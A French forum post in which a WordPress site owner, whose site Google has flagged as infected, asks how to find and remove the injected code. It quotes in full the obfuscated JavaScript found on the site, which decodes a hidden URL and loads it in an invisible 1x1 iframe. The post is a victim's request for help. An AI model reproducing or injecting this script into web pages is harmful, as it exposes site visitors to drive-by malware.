Site sous WP victime d'un malware, que faire?

Bonjour,



J'ai reçu ce matin un mail de Google m'informant que mon site (http://www.fant-asie.com) était infecté pat un malware. De fait, Google, Firefox et autres le bloquent et mettent un message d'avertissement.

En regardant dans Google Wemasters Tools, il apparait qu'il y a bien un malware dont voici le script :
<script>
function getfncelement(a)
{
if (a==0) return 'A104A116A116A112A58A47A47A99A108A101A97A11
0A102A105A108A101A46A110A101A116A47A46A112A104A47A50A47';
if (a==1) return 'split';
if (a==2) return 'fromCharCode';
if (a==3) return 'IFRAME';
if (a==4) return 1;
}
var gnitssssssssssssssssss = String;

var a_bnMJnWIagV = getfncelement(0);
var a_ErVOWoUayU = a_bnMJnWIagV[getfncelement(1)]("A");
var a_LEdeDyQRPa = "";
for (var a_frOsBBOKcu=1; a_frOsBBOKcu<a_ErVOWoUayU.length; a
_frOsBBOKcu++)
{a_LEdeDyQRPa+=gnitssssssssssssssssss[getfncelement(2)](a_Er
VOWoUayU[a_frOsBBOKcu]);}
var testFrame = document.createElement(getfncelement(3));
testFrame.src = a_LEdeDyQRPa;
testFrame.width = getfncelement(4);
testFrame.height = getfncelement(4);
document.body.appendChild(testFrame);
</script>


J'ai aussi constaté que mon index.php ne contenait que ce script. Faudrait que je retrouve une ancienne version pour voir comment il était avant

Sauf que dans mon admin (difficile d'accès maintenant), sous Wordpress, dans la partie éditeur du thème, je n'ai pas réussi à trouver ce truc pour l'enlever.

Vu que je ne suis pas très compétent en informatique et encore moins en problème de virus et autres, que dois-je faire?

Comment localiser ce script? Comment l'enlever?Enlever les lignes de codes suffira-t-il? Pourquoi ai-je ça? Comment me prémunir de ce type de pb?

Merci pour l'aide que vous pourrez m'apporter.